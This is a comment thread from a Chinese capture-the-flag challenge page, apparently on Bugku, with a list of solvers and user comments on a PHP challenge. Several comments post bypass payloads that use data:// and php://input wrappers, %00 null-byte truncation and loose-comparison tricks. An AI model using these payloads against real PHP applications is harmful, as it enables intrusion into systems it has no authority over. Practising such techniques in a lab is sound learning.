评分(28)
解题动态
洛123 攻破了该题 39分钟前
moque 攻破了该题 23小时前
全都拿下 攻破了该题 1天前
ItsAllOver 攻破了该题 1天前
HaHaHa_111 攻破了该题 2天前
qi1102 攻破了该题 2天前
Alter 攻破了该题 3天前
byleth 攻破了该题 3天前
xiaoxiang07 攻破了该题 3天前
CCC1112 攻破了该题 3天前
zmjjkk..... 攻破了该题 4天前
KN11 攻破了该题 4天前
human 攻破了该题 5天前
1柒1 攻破了该题 5天前
世界你好 攻破了该题 6天前
xinghai147 攻破了该题 6天前
能工智人 攻破了该题 7天前
3213760949 攻破了该题 7天前
zzz122 攻破了该题 7天前
评论
tafeishi 18天前
举报
老了，bugku写成bugko，找错找半个小时
ly89130 2月前
举报
http://160.202.254.160:14094/hello.php?id=abc&a=data://text/plain,bugku%20is%20a%20nice%20plateform!&b=.4fffd
fi1y 3月前
举报
id=00&a=php://input,bugku%20is%20a%20nice%20plateform!&b=.12345
暗流安全 5月前
举报
/hello.php?id=00&a=data://text/plain,bugku%20is%20a%20nice%20plateform!&b=%0011111
FTJJJ 6月前
举报
POST /hello.php?id=0e123&a=php://input&b=?aaaaaaaa HTTP/1.1 bugku is a nice plateform!
bugfuck2 6月前
举报
查看源代码可以发现注释提示“1p.html”,打开发现会跳转,使用view-source:http://ip/1p.html查看并解码，可以看到源代码，要注意id的值如果是0，在第一步的时候就会跳转会原页面，需要用松散比较绕过，比如id=0a
霓虹 9月前
举报
wp解答的源代码不一样，避雷
对对对对对对对对 11月前
举报
依旧有点意思
soha 11月前
举报
$b的限制eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)用%00字符截断绕过，$a用data://text/plain,文本内容,id=0传参
caicai0728 12月前
举报
解题参考：https://blog.csdn.net/cai_huaer/article/details/153694389?spm=1001.2014.3001.5501
浩气英风 2月前
举报
试了评论区所有的方法，就你这个能成功。